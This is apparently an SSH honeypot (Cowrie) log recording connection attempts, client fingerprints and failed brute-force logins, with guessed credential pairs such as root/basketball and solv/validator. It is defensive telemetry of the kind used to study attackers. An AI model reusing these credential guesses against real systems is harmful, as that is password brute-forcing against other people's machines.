{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:52.010602Z","src_ip":"37.233.85.71","session":"5e32d2371e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"basketball","message":"login attempt [root/basketball] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:52.340513Z","src_ip":"37.233.85.71","session":"5e32d2371e2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:52.769725Z","src_ip":"43.128.102.61","session":"3ee20d33d48b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:53.451924Z","src_ip":"37.233.85.71","session":"5e32d2371e2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.221.151.82","src_port":64562,"dst_ip":"159.203.135.109","dst_port":22,"session":"092c93b0f935","protocol":"ssh","message":"New connection: 13.221.151.82:64562 (159.203.135.109:22) [session: 092c93b0f935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:59.967366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:01.966370Z","src_ip":"13.221.151.82","session":"092c93b0f935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:01.974686Z","src_ip":"13.221.151.82","session":"092c93b0f935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:06.077670Z","src_ip":"13.221.151.82","session":"092c93b0f935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":43344,"dst_ip":"10.17.0.5","dst_port":22,"session":"3db1dd35163d","protocol":"ssh","message":"New connection: 2.57.122.238:43344 (10.17.0.5:22) [session: 3db1dd35163d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:33.735571Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:33.842464Z","src_ip":"2.57.122.238","session":"3db1dd35163d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59096,"dst_ip":"159.203.135.109","dst_port":22,"session":"69aefe943572","protocol":"ssh","message":"New connection: 103.176.20.57:59096 (159.203.135.109:22) [session: 69aefe943572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:35.205935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:35.211209Z","src_ip":"103.176.20.57","session":"69aefe943572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:35.460021Z","src_ip":"103.176.20.57","session":"69aefe943572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159753159753","message":"login attempt [root/159753159753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:36.208300Z","src_ip":"103.176.20.57","session":"69aefe943572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:37.461468Z","src_ip":"103.176.20.57","session":"69aefe943572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":56442,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fcc27bdf8a9","protocol":"ssh","message":"New connection: 181.188.176.245:56442 (10.17.0.5:22) [session: 0fcc27bdf8a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:40.653432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:40.658650Z","src_ip":"181.188.176.245","session":"0fcc27bdf8a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:40.831559Z","src_ip":"181.188.176.245","session":"0fcc27bdf8a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trade","message":"login attempt [root/trade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:41.537104Z","src_ip":"181.188.176.245","session":"0fcc27bdf8a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:42.708437Z","src_ip":"181.188.176.245","session":"0fcc27bdf8a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":44542,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed89a9de7c97","protocol":"ssh","message":"New connection: 89.108.118.91:44542 (10.17.0.5:22) [session: ed89a9de7c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:52.343452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:52.346915Z","src_ip":"89.108.118.91","session":"ed89a9de7c97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:52.489968Z","src_ip":"89.108.118.91","session":"ed89a9de7c97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741741","message":"login attempt [root/741741] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:52.926495Z","src_ip":"89.108.118.91","session":"ed89a9de7c97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:05:54.072392Z","src_ip":"89.108.118.91","session":"ed89a9de7c97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":35712,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d00ee056af2","protocol":"ssh","message":"New connection: 43.128.102.61:35712 (10.17.0.5:22) [session: 7d00ee056af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:06:05.347822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:06:05.353504Z","src_ip":"43.128.102.61","session":"7d00ee056af2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:06:05.603896Z","src_ip":"43.128.102.61","session":"7d00ee056af2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"131421","message":"login attempt [root/131421] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:06:06.587115Z","src_ip":"43.128.102.61","session":"7d00ee056af2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:06:07.828965Z","src_ip":"43.128.102.61","session":"7d00ee056af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38208,"dst_ip":"10.17.0.5","dst_port":22,"session":"151f034c75f1","protocol":"ssh","message":"New connection: 80.94.92.184:38208 (10.17.0.5:22) [session: 151f034c75f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:06:15.646302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:06:15.960308Z","src_ip":"80.94.92.184","session":"151f034c75f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:06:15.964448Z","src_ip":"80.94.92.184","session":"151f034c75f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"validator","message":"login attempt [solv/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:06:16.705057Z","src_ip":"80.94.92.184","session":"151f034c75f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:06:18.082370Z","src_ip":"80.94.92.184","session":"151f034c75f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":58326,"dst_ip":"10.17.0.5","dst_port":22,"session":"03d75e288a85","protocol":"ssh","message":"New connection: 181.188.176.245:58326 (10.17.0.5:22) [session: 03d75e288a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:14.155715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:14.160647Z","src_ip":"181.188.176.245","session":"03d75e288a85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:14.329787Z","src_ip":"181.188.176.245","session":"03d75e288a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"131421","message":"login attempt [root/131421] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:15.037497Z","src_ip":"181.188.176.245","session":"03d75e288a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:16.210758Z","src_ip":"181.188.176.245","session":"03d75e288a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.127.55","src_port":51002,"dst_ip":"10.17.0.5","dst_port":22,"session":"0db8e8ab0119","protocol":"ssh","message":"New connection: 89.223.127.55:51002 (10.17.0.5:22) [session: 0db8e8ab0119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:31.323781Z"}
